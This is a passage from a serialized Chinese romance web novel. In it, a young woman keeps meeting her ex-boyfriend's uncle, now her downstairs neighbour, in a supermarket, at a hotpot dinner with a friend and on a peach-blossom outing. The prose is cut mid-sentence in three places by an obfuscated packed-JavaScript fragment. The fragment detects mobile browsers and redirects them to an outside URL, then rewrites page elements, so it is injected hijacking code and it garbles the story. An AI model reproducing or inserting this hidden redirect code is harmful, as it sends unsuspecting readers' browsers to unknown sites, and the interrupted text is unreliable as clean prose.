“阿姨,今天没有盐焗鸡吗?”她把熟食区看了个遍,没找到想买的那种。 “还没拆呢。”售货员往里指了指:“你去零食区旁边的货架看看,那儿有。” 谢芳推着购物车跟上来:“感情不是现做的呀?预制菜,对吧?” 售货员笑着点头:“是这么个意思,不过味道是好,回头客可多了。” 母女俩推着车往零食区走,在一众酱鸭、板鸭、香肠、腊肉的包围里,于宥宁终于找到了那袋盐焗鸡,然后又顺道在零食区转了一圈,目光扫过薯片、饼干、巧克力,可却一样没拿。 谢芳在后面看着:“今天不买点儿零食?” “没什么胃口,买瓶酸奶吧。” 两个人穿过冰柜区,谢芳停下脚步:“你自己去拿,我看看虾仁。” “行。” 于宥宁绕去冷藏柜,挑了两瓶自己爱喝的口味,又拿了两瓶打折的鲜牛奶,等她端着奶返回冰柜区,脚步忽然顿住了。 谢芳旁边那个高大的背影,不正是林骁! 根据最近这个频率,碰上他已经不是什么稀奇事了,稀奇的是,他今天没穿西装,而是穿了一件黑色的皮衣外套,版型挺括,很有点港风男的味道。 看他和自己妈妈聊得热络,于宥宁忍不住眯了眯眼,总觉得有点奇怪,但又说不上来是哪里奇怪。 按说他们偶遇的频率,的确是巧得有点过分了,可林骁住她楼下,工作地点也近,再加上他上次就坦坦荡荡地解释过,所以于宥宁实在说不上来到底是哪里奇怪。 这种奇怪不是逻辑能说清的,是一种直觉,是他在人群里出现得太刚好,是他看向自己的时候眼神太稳,是他明明什么都没做,却让她总觉得有什么事正在发生。 她端着奶站在原地,看着他和妈妈说话。 “这个牛排不错。”林骁指着冰柜里的一排包装:“我上周买过,肉质挺嫩的。” “是吗?”谢芳凑过去看了看:“那我也来两块,宁宁最近老说要吃什么漂亮饭,我给她煎个牛排正好。” “阿姨要是不嫌弃,我可以推荐个做法,先用黑胡椒和海盐腌二十分钟,锅要烧得够热,一面煎两分钟,别老翻。” “哎哟,这么讲究?”谢芳笑着看他:“你们当兵的还研究这个?” “退伍之后学的。”林骁笑了笑:“一个人住,总得把自己喂饱。” 谢芳越看越满意,这孩子,长得精神,会说话,还会做饭,上哪儿找去? 她瞥了一眼不远处的女儿,又收回视线,心里开始盘算。 于宥宁端着奶走过去,林骁正好选完商品,率先把自己的推车往旁边让了让,和谢芳的错开,礼貌,绅士,分寸感拿捏得刚刚好。 他抬眸,恰对上于宥宁的眼神,从里头看出点儿探究和无奈。 林骁嘴角动了动。 谢芳倒是笑得开怀:“宁宁,你看,这是小林给我推荐的牛排,正好,你不是说想吃漂亮饭嘛,妈给你做。” 于宥宁低头看了一眼推车里的牛排,又抬头看了林骁一眼。 林骁抬了抬手,语气淡淡的:“早。”然后推着推车,和谢芳并肩拐进了蔬菜区。 于宥宁跟在后面,看着两个人的背影,忽然有种错觉,昨晚的情景续上了。 她跟在后面,听着前面两个人聊天。 “今天的芦笋还挺新鲜。”林骁拿起一把看了看:“上周买到的那个,回去一拆开,一股泡过水的味道。” “你也买到啦?我也是!那股水臭味儿,要不是都下锅炒了,我肯定拿回去退了。” “阿姨,买点茼蒿吗?看着还挺嫩。” “好呀好呀,帮我拿一把。”谢芳伸手接过:“你这眼光真不错,挑的都比我自己拿的好。” 林骁笑了笑,又拿起一盒蘑菇:“这个也可以,炒着吃或者煮汤都行。” “行,那也来一盒。”谢芳已经放弃自己挑了,跟着林骁的推荐走。 “小林呀,一个人做饭不方便吧?”谢芳边走边聊:“多了吃不了,少了又不好做,量不好控制。” “是。”林骁点点头:“不过想吃新鲜的就得勤快些,习惯了也还好。” “哎呀,像你这样不睡懒觉,还自己做饭的年轻人真是不多了。”谢芳感叹:“不愧是军人出身,自律。” “阿姨您过奖了。”林骁语气谦和。 “以后周末有空,上来一起吃啊。”谢芳顺嘴就说了。 于宥宁在后面听着,脚步顿了顿。 林骁倒是没推辞,只是笑了笑:“那多不好意思,改天我做好了,请阿姨和宁宁尝尝我的手艺。” “那敢情好!”谢芳眉开眼笑。 两个人聊着聊着,逛进了水产区,谢芳这才反应过来,自己一路跟林骁聊得热络,把女儿晾在后头半天了。 她回头觑了于宥宁一眼:“宁宁,来,你帮妈妈推一下推车,妈妈去称条鱼。” 于宥宁“哦”了一声,接过推车。 谢芳进了水产区,林骁恰好称完虾回来,把活虾放进推车,又从购物篮里拿出一个瓶子,放进于宥宁的推车。 于宥宁低头一看,蜂蜜柚子茶。 “听阿姨说你胃不太舒服,这个解酒,也开胃。” “谢谢。” “昨天那种酒局,多吗?” “还好。”她想了想:“就年初年末吧,平时不多。” “下次再碰上,可以叫上我。”林骁看着她的眼睛:“我酒量还不错。” 于宥宁这次没接话,她低头看了看那瓶蜂蜜柚子茶,又抬头看他。 “这可不好碰上。”她说。 这句话,带着一点点试探;林屿当初追求自己的时候就是这样的,总能在各种地点、各种时间“偶遇”,这种感觉实在太熟悉,以至于她总是疑神疑鬼! 林骁笑了,不是那种客气的笑,是真的从眼底漾出来的笑意。 “昨天偶然碰上。”他的语气依旧从容,像在说一件很普通的事:“陈总虽然热情邀约,但我其实没想进去,只是看到你,又看到桌上的白酒,怕你应付不来,才进去的。” 他稍作停顿:“我是军人,哪怕退伍了,这个身份也会跟我一辈子。”他看着她的眼睛,目光坦荡:“我不会放任一个小姑娘陷入可能存在的风险,更何况,我们还认识。” 他的解释,总是这么坦荡,坦荡到让于宥宁开始怀疑,是不是又是自己想多了? “嗯,昨天……谢谢你。” “不客气。”三个字,礼貌,客气,点到为止。 林骁收回视线,把推车往前推了推:“开车了吗?” 于宥宁摇头,考下驾照两年了,还没正经上过路。 “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525889|203495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我送你和阿姨回去吧。” “麻烦你了。” “不麻烦。” 于宥宁看着他的背影,心里说不上来什么感觉,有点别扭,或许真的是她想多了,他早说过的,他的出现和林屿没有关系。 谢芳称完鱼回来,看见两个人面对面站着,女儿手里多了瓶饮料,脸上表情有点微妙。 她什么都没问,只是笑着招呼:“走吧走吧,结账去。” 谢芳和林骁并排,于宥宁推着车跟在后面,阳光从超市的玻璃天窗照进来,落在林骁的肩膀上,于宥宁看着那道光,觉得就像他这个人,干净,利落,坦荡。 可太坦荡了,反而让人看不清。 那之后大概半个月,于宥宁在健身房碰上过他,在包子店碰上过他,在便利店也碰上过他。 可每次,林骁都只是礼貌地点个头就走,连寒暄都省了。 一开始她也没多想,楼上楼下的邻居,碰上了点个头,正常,可那天中午在便利店,她照常在吧台吃午饭,余光瞥见门外的身影,是林骁。 他站在门外,隔着玻璃看见她,顿了顿,那架势,像是不打算进来。 可偏巧她也看见他了,四目相对,林骁依旧礼貌地点了点头,稍显犹豫后,还是推门进来了。 他走到货架拿了个盒饭,去收银台加热,然后就拎着盒饭走了。没在吧台坐下,没跟她说话,甚至没往她这边多看一眼。 于宥宁咬着筷子,看着他的背影消失在门外,忽然觉得哪里不对。 她开始回想这半个月的“偶遇”。 健身房,他在力量区,她在有氧区,两个人只在擦身而过的瞬间点了个头。 包子店,她刚进门,他正好吃完,依旧擦肩而过,点个头。 便利店,好几次她进去的时候,他已经在里面了,可她一进门,他就加快脚步结账离开。 一次两次是巧合,三次四次呢? 她想起妈妈前几天说,在小区散步碰上下班回来的林骁,想邀请他到家里吃饭,他却以加班为由婉拒了。 晚上,她和叶可欣一块儿吃火锅,锅底翻滚,热气腾腾,叶可欣涮着毛肚,瞥了她一眼:“怎么了?有什么烦心事儿,说出来,让姐给你分析分析。” 于宥宁捻起一片毛肚,一边涮一边问:“你觉得我是一个疑心重的人吗?” “怎么突然这么问?” “你觉得是不是吧?” “疑心?”叶可欣想了想:“不至于吧,不过女孩子嘛,敏感,直觉准,而且你通常有事儿憋不住,会直接问,这一点挺好的。” “是吧。”于宥宁把毛肚放进嘴里:“我也觉得,有些事情就是直觉准。” “说说吧。”叶可欣放下筷子,摆出洗耳恭听的架势。 于宥宁接着涮第二片毛肚,这事儿从哪儿说起呢?前头没跟她说,这后头也就不好说了。 叶可欣一眼就看出来了:“瞒我什么了?坦白从宽啊。” 于宥宁眼珠子往上翻,正在组织语言。 叶可欣直接“诶”了一声:“别想糊弄我啊。” “哎,”于宥宁叹了口气:“迟早你也得知道的。” “果然瞒我了。”叶可欣敲了敲桌子:“交代吧。” “就是那个相亲对象。”于宥宁顿了顿:“他其实是林屿的小叔。” “噗——!” 叶可欣正在啃鸡爪,被这一记重磅消息砸得直接呛咳起来,鸡爪差点飞出去。 “咳咳咳咳咳……” 12. 第 12 章 于宥宁扯了张纸巾递过去,又递上饮料。 看吧,这个消息的确很令人震惊,所以她才会瞒着,连爸妈都没敢说。 叶可欣灌了半杯饮料,终于顺过气来,瞪大眼睛看着她:“于宥宁!这么大的事情,你竟然瞒着我!” “你也觉得是大事吧?” “当然!” 于宥宁挑眉。 叶可欣吸了两口饮料,平复了一下:“好吧,可以理解你不想说的原因,然后呢?” “相完亲我以为就结束了。”于宥宁把毛肚放进锅里:“结果接下来我们就开始了不停的偶遇,早餐店,便利店,健身房,最离谱的是,他竟然搬到了我家楼下。” “他对你有意思?” “额…我倒是没往这方面想过,我一开始只以为是林屿让他来的。”她垂下眼,筷子在碗里戳了两下:“可他解释了,搬家是因为离公司近,在便利店偶遇是因为他公司的项目在江湾公园,而且,”她抿了抿唇:“我们到现在都没有加过微信。” “林屿让他来?”叶可欣放下筷子,眉头拧成一个结:“让他来干嘛?” “他不是在部队里嘛。”于宥宁的声音低下去,像是自己也觉得这个说法站不住脚:“我想他是不是请不了假回不来,就让他小叔来找我…” “我还是那句话!让他来干嘛?!”叶可欣的语气里带着一股恨铁不成钢的气恼。 于宥宁失恋的那段日子,是她陪着走过来的。她记得于宥宁抱着手机一遍一遍刷新消息的样子,记得她从期待到失落、从失落到沉默的全过程,记得她在深夜发来一条语音、点开之后只有长长的一声叹息,那些她以为自己藏得很好的难过和失落,叶可欣全都看在眼里。 所以此刻,听于宥宁说怀疑林骁是林屿叫来的,她真是觉得又好气又好笑,先不说这话的逻辑在哪儿,林屿要真想复合,不能打电话吗?不能发消息吗?不能自己亲自来解释吗?半年杳无音讯,突然冒出来一个小叔,她第一反应居然是“林屿让他来的”? 于宥宁心虚地眨了眨眼,端起饮料喝了一口,假装自己很忙。 叶可欣瞪她一眼:“要我说,你还不如怀疑一下他是不是冲着你来的。” “额…”于宥宁的筷子顿了一下:“不至于吧,他都晓得我是林屿的前女友。” 叶可欣眯起眼睛:“偶遇的后续呢?让你这么疑神疑鬼的后续,继续讲吧。” “再然后,我不是被领导拉去酒局了嘛,又碰上他了,托他的福,那顿酒局还算正常,没喝多少,也没去第二场,结果和他一起回家,碰上了我妈妈。” “阿姨认出他是你相亲对象了?” “认出来了。”于宥宁点点头:“但不知道他是林屿小叔。” “哦,也对,你不说,他们也不会知道。” “呼,”于宥宁叹了口气:“你要是见过他,你就不会这么想了。” “怎么讲?” “他跟林屿,”她看着叶可欣的眼睛:“七分像。” “靠!”叶可欣差点又呛着:“真假!” 于宥宁缓慢而沉重地点了点头。 “叔叔阿姨见过林屿没?” “他们俩就见过林屿一次,那年来学校接我的时候远远看过一眼,估计是没认出来。”于宥宁顿了顿:“我还没讲完呢,周六在超市又碰上了,我妈和他聊得可开心了,然后我又忍不住…” “你又问了?” “比较委婉。” “他解释了?” “嗯,解释了。”于宥宁回忆着那天的话:“很坦荡。” “那?” “可是他太坦荡了。”于宥宁放下筷子:“反而让我觉得看不透,而且超市那天之后,我们又遇到过好多次,包子铺,健身房,便利店,他还是会跟我打招呼,但再没多说过一句,而且他不在便利店吃饭了,买好加热就走。” 叶可欣听完,把虾饺全部倒进锅里:“我想见见他。” 于宥宁翻了个白眼:“我指望你帮我分析分析呢。” “我得见着人了才好分析呀。”叶可欣理直气壮。 “这么说你也觉得是我想多了?” 叶可欣收起开玩笑的表情,正色道:“你们俩偶遇的次数是有点多,可人家住你楼下,你们的生活范围和工作范围重合度太高了,偶遇的概率本来就比普通人大的多,而且嘛,”她顿了顿:“从你刚才的描述看,他避着你,很可能是在避嫌。” “避嫌?” “对。”叶可欣点点头:“人家既不是你怀疑的林屿派来的,也不是对你有意思,一而再再而三的被你误会,是得避嫌嘛。” “啊~那这么说起来,我是不是太自恋了,哎,”她突然就觉得有点儿不好意思了。 “没事儿,带我去见见他就好了” “那见他你又能看出来什么?” “没什么。”叶可欣咬了一口虾饺,含糊不清地说:“就单纯想看看和林屿有多像。” 于宥宁抬起右手,对着空气做了一个扇巴掌的姿势。 这顿饭因为有了林骁这个话题,吃得格外快。 叶可欣甚至把所有菜一股脑全倒进了锅里,三两下扒拉完,就催着于宥宁结账走人,她迫不及待想去看看,林骁到底长什么样。 于宥宁拦不住,只能让她跟着自己进了小区。 “这个点儿,人家肯定在家休息呢,碰不上的。”于宥宁试图做最后的挣扎。 “那我就敲门,说是送水的。” 于宥宁觑她一眼:“你听听你在说什么。” “那我就在这楼下等。”叶可欣往单元门口一蹲:“他还能不下来扔个垃圾、散个步?” “你有扔垃圾的习惯?你有散步的习惯?” “呃…” 的确,很少有年轻人有这种习惯。 可林骁不是普通的年轻人,他是很老式、传统的那一类。 两个人正在楼下僵持着,忽然听见单元门“吱呀”一声推开。 一个西装笔挺的男人拎着一袋垃圾走了出来。 看清林骁的瞬间,叶可欣忍不住瞪大了双眼,脱口而出:“我去!” 的的确确是七分像,但气质完全不一样,林骁看上去稳重得多,肩背挺括,步伐从容,眉眼间带着一种说不出的沉静。 他看见于宥宁,礼貌地点了点头。 目光扫过她身边的叶可欣,也点了点头,然后从容地走向垃圾桶。 叶可欣那直勾勾的眼神和夸张的表情,弄得于宥宁恨不得找个地缝钻进去。 她尴尬地冲林骁扯了扯嘴角,算是打过招呼,然后扯着叶可欣的胳膊就往回拽。 等林骁走远,叶可欣才回过神来:“像!真是像!但气质完全不一样。” 于宥宁拉着人往小区外头走:“你也不知道管理一下表情,多尴尬啊。” “不尴尬不尴尬。”叶可欣还在回头看:“我看他跟你就是个点头之交,多客气啊,话都没多说一句。” 于宥宁没说话,她想起刚才林骁看见自己时的眼神:礼貌,客气,疏离。她心里忽然生出一种奇怪的感觉,好像是自己误会了他,好像是自己想多了,好像是自己把一段单纯的邻里关系,脑补成了什么不得了的东西。 她想起他那些坦荡的解释,想起他主动拉开的距离,想起他刚才那个礼貌而疏离的点头,突然觉得有些不好意思。 “想什么呢?”叶可欣碰了碰她。 “没什么。”于宥宁回过神:“走吧,送你打车。” 两个人走出小区门口。 叶可欣上了车,摇下车窗:“回去早点儿休息,别想太多,反正以后也没什么交集了,有事儿给我打电话。” “知道了。” 车子驶远,于宥宁站在原地,看着那盏渐行渐远的尾灯,忽然想起林骁说过的那句话:“我不会放任一个小姑娘陷入可能存在的风险。” 她抬起头,看向四楼的窗户。 灯亮着,窗帘拉了一半,隐约能看见一个身影在阳台上。 她看了两秒,往单元门走。 四楼的阳台上,林骁放下手里的哑铃,看着楼下那个消失在单元门里的身影,他站了很久,月光落在他的肩膀上,像一层薄薄的霜。 自从那个尴尬的夜晚之后,于宥宁有长达两周的时间没有碰上林骁了,包子铺没有,便利店没有,健身房没有,就连在小区里散步,都没见过他的车。 她一开始还下意识地在人群里搜寻那个身影,进便利店会先扫一眼吧台,路过402会放慢脚步,可始终没有碰到,她那点儿小小的不好意思,也就随着时间的推移,渐渐消失了。 四月中旬,天气彻底暖了,路边的樱花开了又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525890|203495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢,桃花正当时。 顾原的一个朋友组织春游赏花,地点选在郊区的桃花源,赏花、野炊、垂钓,最适合春游。 叶可欣也被邀请了,但同去的还有江莹,顾原的前暧昧对象。 “我可烦她了。”叶可欣在电话那头忿忿不平:“拧个瓶盖都得找人帮忙,那眼神,啧啧啧,好像全世界男人都欠她的。” 于宥宁正在洗漱,把手机开了免提,一边刷牙一边含糊不清地应着:“那你就更得去了呀,不然不是白白把你老板推出去了?” “于宥宁!”叶可欣的声音高了八度:“我和我们老板没什么的。” “小样儿。”于宥宁漱了漱口,擦干净嘴角:“都吃醋了,还没什么?” “哎~”叶可欣忍不住一声叹息,她是对顾原有好感,可人家顾原对她好像没那意思,她一个女孩子,才不会上赶着往前凑呢。 “去吧去吧。”于宥宁开始往脸上拍爽肤水:“她弱你就强,也不是所有男人都吃她那一套的,我看顾原就不吃。” “你看?你就见过顾原一面,你怎么看出来的?” “他对你的态度呀。”于宥宁对着镜子涂面霜:“从一开始想换掉你,到认可你的实力,到现在和你配合默契,这不都是你跟我说的?” “这倒是,”叶可欣对自己工作能力还是很认可的:“但那是工作呀,工作和感情是两码事。” “你们每天在一块儿的时间,比你和你爸妈还长。”于宥宁对着镜子挤了挤眼睛,确认今天的皮肤状态还行:“日久生情也正常。” “那你说我去还是不去?” “当然去呀,去看看花儿,晒晒太阳,拍点美照,多好。” “那你陪我去!”叶可欣其实是想去的,但一个人去,万一碰上江莹,万一自己落了下风,想想就烦,拉着于宥宁就不一样了,有人陪着,心里有底。 “我的欣欣。”于宥宁无奈地笑了一声:“你找我,那可算是找错人了,我们两个大直女,到时候大眼瞪小眼吗?而且你们都是认识的,我一个外人跟着去,合适吗?” “可以带家属的!”叶可欣立刻说:“你就是我家属,而且人多力量大嘛,关键时刻你帮我撑撑场面。” 于宥宁想了想,也是好久没出去走走了,最近工作不忙,天气又好,去赏赏花也不错。 “好吧好吧,我跟你去。” 最终,这场春游凑了9个人,群一拉起来,于宥宁就进去默默数了数人头,除了叶可欣和顾原,其他人她一个都不认识,行吧,就当去晒太阳。 周六一早,阳光明媚,叶可欣开车来接她,于宥宁上了车,系好安全带,两个人在车里有一搭没一搭地聊着,车子刚拐出小区门口,于宥宁的目光忽然顿了一下,后视镜里,一辆黑色的车跟他们驶向了同一方向。 “怎么了?”叶可欣顺着她的视线看了一眼。 “是林骁的车。” 两辆车一前一后驶上主路,等上了高速,叶可欣瞥了一眼后视镜,忽然“噗”的一声笑出来:“你这个前男友小叔,不会也是去桃花源的吧?” 于宥宁正在连蓝牙,闻言抬头看了一眼后视镜,那辆黑色奥迪不近不远地跟着,保持着恰到好处的距离。 “哪儿就那么巧了。”她点开音乐:“上高速不都走这边嘛。” “那你们最近还有‘偶遇’吗?” “没。”于宥宁摇了摇头,开始播放歌单:“消失得干干净净。” “哟。”叶可欣意味深长地看了她一眼:“你还数着呢?” “我数什么了我?”于宥宁瞪她:“我就是陈述事实。” “行行行,陈述事实。” 音乐响起来,两个人在车里嗨唱了一路。 二十分钟后,车子驶进桃花源停车场,叶可欣找了个车位停好,两个人下车,深吸一口气,空气里都是桃花的香气,淡淡的,甜丝丝的。 集合点在停车场出口,已经聚集了一群人,于宥宁跟着叶可欣走过去,目光漫不经心地扫过人群,然后顿住了。 出口旁边站着两个人,一个是顾原,金丝边眼镜,斯斯文文。 另一个,西装笔挺,肩背挺括,正侧着头跟顾原说着什么,是林骁。 叶可欣也看见了,两个人对视一眼,叶可欣压低了声音,语气里带着一丝幸灾乐祸:“巧了嘛,这不是!” 13. 第 13 章 于宥宁没说话,她看着那个西装革履的背影,忽然想起这他两周的“消失”,包子铺没有他,便利店没有他,健身房没有他,结果在这儿碰上了。 那边,林骁像是感应到什么,微微侧过头,目光越过人群,落在她身上,然后点了点头,依旧是那种礼貌、客气、疏离的点头。 于宥宁也点了点头。 叶可欣在旁边看着这一幕,差点笑出声:“你们俩这打招呼的方式,跟外交使节似的。” “闭嘴。”于宥宁低声说。 顾原看见她们,招了招手:“可欣,这边。” 叶可欣拉着于宥宁走过去。 走近了,于宥宁才看清林骁今天的打扮。 依旧是西装,但比平时休闲一些,深色的外套,里头是一件同色的T恤,裤子竟然也是阔腿西裤,整个人看上去像是比平时大了一个号似的,叶可欣都忍不住感叹了一句:“这大双开门。” 叶可欣介绍道:“这是我朋友,于宥宁,顾原你见过的。” 顾原点了点头:“于小姐。” “顾总好。”于宥宁客气地应了一声。 “这位是林骁。”顾原介绍:“我高中同学,也是……” “认识。”林骁打断他,语气平淡:“邻居。” 顾原挑了挑眉,目光在两个人之间转了一圈,没说话。 叶可欣在旁边看着,心里那点幸灾乐祸更浓了。 顾原继续介绍其他人,两位已婚带家属的男性都是他们的高中同学,其中一个还带了刚满两岁的女儿,小姑娘长的跟爸爸一模一样,小眼睛,大脸盘子,但奶乎乎的还蛮可爱,一双眼睛直勾勾的盯着林骁,伸手想让他抱。 “老曹,你女儿这审美不错啊,晓得挑最帅的抱。”另一位老同学张超调侃一句。 林骁抱过小丫头,掂了掂:“嗯,小丫头还挺结实,亲舅舅一口。” 曹丫丫吧唧就是一口,搂着林骁的脖子贴的可紧。 老曹白他一眼:“什么舅舅,表叔,辈分都论错了。” 江莹:“你们都是叔叔阿姨,我可是姐姐啊。”她比林骁他们小两届,家里表哥跟林骁他们同班,关系也还不错,大学毕业就留在了上海,也是去年才回到榆阳,然后在表哥的介绍下认识了大家。 “人到齐了吧?”顾原看了看手表:“进去吧。” 一群人开始往景区里走。 于宥宁和叶可欣落在后面。 “邻居。”叶可欣压低声音,学林骁的语气:“他说邻居的时候,脸都不带红的。” “本来就是邻居。”于宥宁面无表情。 “那你脸红什么?” “我没脸红。” “有。” “没有。” 两个人拌着嘴,跟在人群后头。 而前面不远处,林骁和顾原并排走着。 “邻居?”顾原侧头看他:“你什么时候在那边有房子了?” “李叔的。”林骁目视前方:“借住。” “哦......”顾原拖长了尾音:“借住。” 林骁没理他。 顾原笑了笑,没再追问,但那个笑容,意味深长。 这个人工景区由桃花山和一片小湖组成,他们先在外围草坪选了一块宽敞平坦的地方,七手八脚地组装好遮阳棚、折叠桌椅,又把烤架支起来。 老曹拍了拍手上的灰,环顾一圈:“那咱们先去赏赏花?早上阳光好,拍照也好看,我得给我老婆还有闺女拍点美照。” “行。” “走吧。” 大家齐声附和,把带来的食物往桌上一放,浩浩荡荡地出发了。 往桃花林走的队伍,很快就自动分成了几波。 老曹和自己老婆走在前头,十指相扣,说说笑笑,张超和自己老婆跟在后面,江莹不知道什么时候走到了顾原身边,仰着头跟他说着什么,顾原微微侧耳,偶尔点点头。 林骁抱着曹丫丫走在中间,小丫头趴在他肩膀上,揪着他的耳朵咿咿呀呀,他也不躲,就这么任她揪着。 于宥宁挽着叶可欣落在最后头。 “你怎么不早说有林骁?”于宥宁压低声音。 “我哪儿知道有他?”叶可欣理直气壮:“我又没他微信。” “他和你老板是同学,你不知道?” “不知道啊。”叶可欣想了想:“不过今天看到我才想起来,上次来给车做保养,跟顾原约篮球那个应该就是他了,那天没看到他正脸,就瞧见个背影。” 这桃花林路修得平坦,山势也平缓,沿着石阶往上走了没一会儿,眼前豁然开朗,漫山遍野的桃花铺展开来,粉的像霞,白的像雪,层层叠叠地挤在枝头,压得枝条微微弯了腰,阳光透过花瓣的缝隙洒下来,在地上投下斑驳的光影,风一吹,花瓣簌簌飘落,像下了一场粉色的雨。 地上已经铺了薄薄一层落花,踩上去软绵绵的,不少游客蹲在地上捡花瓣,捧在手心里往天上抛,让同伴抓拍那个瞬间。 于宥宁也掏出手机想拍一张,又觉得手机拍不出眼前十分之一的美。 大家散进桃花林里,各自找地方拍照。 林骁抱着曹丫丫站在一株低矮的桃树旁,小丫头伸着小手去够枝丫上的花瓣,够不着,急得直蹬腿,林骁就把她往上托了托,让她刚好能够到。 小丫头揪下一片花瓣,回头往他脸上贴,他也不躲,由着她贴,贴完了,小丫头咯咯笑起来,露出几颗小米牙。 于宥宁远远看着这一幕。 阳光从枝叶的缝隙里漏下来,落在林骁的肩膀上,落在曹丫丫毛茸茸的小脑袋上。 她脑子里最先蹦出来的词是:温柔。 不是那种刻意表现出来的温柔,是骨子里的,他抱着孩子的姿势,他偏头听曹丫丫咿呀说话的神情,他被贴上花瓣也不躲的纵容。 礼貌,绅士,又温柔,一种很踏实的感觉。 酒局那天,他一出现在包厢里,她突然就不慌了,那种感觉,现在想起来,大概就是安全感。 “看什么呢?”叶可欣碰了碰她的手肘,顺着她的目光看过去:“哟,小叔还不错哈。” 于宥宁收回视线:“什么不错?” “长在了你的审美上啊。”叶可欣笑眯眯的:“而且跟林屿完全两种性格。” “你别瞎说。” “我只说大实话。”叶可欣嘟了嘟嘴,目光落在不远处,顾原正举着相机对着一株桃树调参数,江莹站在旁边,歪着头看他的取景框。 “顾原竟然带了相机。”叶可欣语气酸酸的:“难道他还会拍照?” “顾总这么书卷气的人,保不齐还真有摄影这种爱好呢。”于宥宁顺着她的目光看过去:“一会儿让他给你拍两张。” “我看他给江莹拍都来不及呢,哪儿有空给我拍。” “哟哟哟哟。”于宥宁捏着嗓子:“酸的哟,都盖过桃花香了。” “谁酸了?” “你啊。”于宥宁看着她:“你看人家江莹,喜欢就主动出击,又不丢人,你这别扭的样子,可跟你平时的作风不太相符啊。” 叶可欣在工作上是出了名的雷厉风行,怎么到了感情上,就这么磨磨唧唧、扭扭捏捏的? 叶可欣没说话,只是看着那边,江莹已经摆好了姿势,倚着桃树,微微侧身,一只手搭在枝丫上,另一只手撩着耳边的碎发。 “顾原哥,帮我拍张照吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525891|203495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的声音软软的,带着点撒娇的尾音。 顾原举起相机,调了调焦距,按下快门,然后低头看了一眼取景框,似乎不太满意,又让她换了个姿势。 江莹换了个姿势,还是倚着树,只是换了只脚做重心,顾原又拍了一张,还是不满意。 两个人就这么在那棵桃树旁边拍了得有三分钟,始终是一个角度,一个机位,一个表情。 叶可欣看得眉梢微挑:“拍得还挺认真。” 于宥宁憋着笑,拉着她往顾原那边走:“顾总,您这相机是富士的吗?” 顾原抬起头,推了推眼镜:“是。” “那能帮我和欣欣拍一张吗?”于宥宁指了指旁边那棵树:“我们想拍这棵,这棵的花更多些。” “当然。”顾原点头:“你们站过去吧。” 于宥宁把叶可欣推到那棵最茂密的桃树下,自己蹲下去捧了一捧落花:“我喊一二三,就把花瓣扔出去,顾总,您能抓拍到吗?” “没问题。”顾原举起相机,开始找角度。 “一二三,”花瓣扬起,粉白的花雨里,叶可欣笑靥如花。 快门声响起,顾原低头看了一眼取景框,嘴角微微弯了弯:“不错。” 江莹凑过来看:“哇,拍得真好!这儿是比我刚拍那边漂亮诶。”她看向叶可欣:“可欣,等你拍完我也拍一张哈。” 叶可欣笑得礼貌:“当然,你来吧。” 于宥宁又从地上捧了一捧花瓣:“江莹,你站过去,我给你扔花。” “行,谢谢啦。” “客气。” 等江莹也拍完,顾原看向于宥宁:“于小姐,你也来一张?” 于宥宁摆了摆手:“我就不用了。”她指了指旁边那棵矮一些的桃树:“欣欣,你拍那种大头的吧,找棵矮点的树,就是网上那种,人像特写,背景虚化。” 顾原不知道她说的是哪种,叶可欣就给他示范,找了棵矮树,伸手拉下一根枝丫,让桃花刚好垂在脸侧。 “就是这样。”叶可欣说:“不过这种仰拍可太考验技术了。” 顾原点了点头,正要举相机, “顾原哥,麻烦你帮我拧一下吧。”江莹从背包里拿出一瓶苏打水,递到他面前。 顾原顿了一下,放下相机,接过瓶子:“哦,行。” 他拧开瓶盖,把水递回去。 叶可欣看着这一幕,手里的枝丫一松,拉着于宥宁就往旁边走。 顾原重新拿起相机:“可欣,我已经调好参数了。” 叶可欣深吸一口气,保持优雅:“不用了,有人给我拍。” “那我待会儿过去找你啊。”顾原想着自己拍的实在不好看,想再多练练手。 这下好了,叶可欣更气了。 “诶诶诶,”于宥宁被她拽着:“人家正找光呢,你走什么走?” “不让他拍了。” “你这气性。”于宥宁无奈:“也太大了。” 她知道叶可欣的脾气,眼里不揉沙子,如果对方不能主动地、全心全意地只对她,她宁愿不要,才懒得去争。 “好好好,不让他拍。”于宥宁哄着她:“我给你拍。” “不。”叶可欣气呼呼地一扭头,目光扫过桃林,忽然定住了。 不远处,林骁正站在一棵桃树下。 曹丫丫已经被爸妈接走了,他一个人待在那儿,双手背在身后,无所事事地看着远处的山,阳光透过花枝的缝隙洒落在他身上,西装外套不知道什么时候脱了,只穿着一件黑色的T恤,袖口挽到小臂,露出线条流畅的小臂。 叶可欣眼睛一亮:“你喊林骁来帮咱俩拍。” 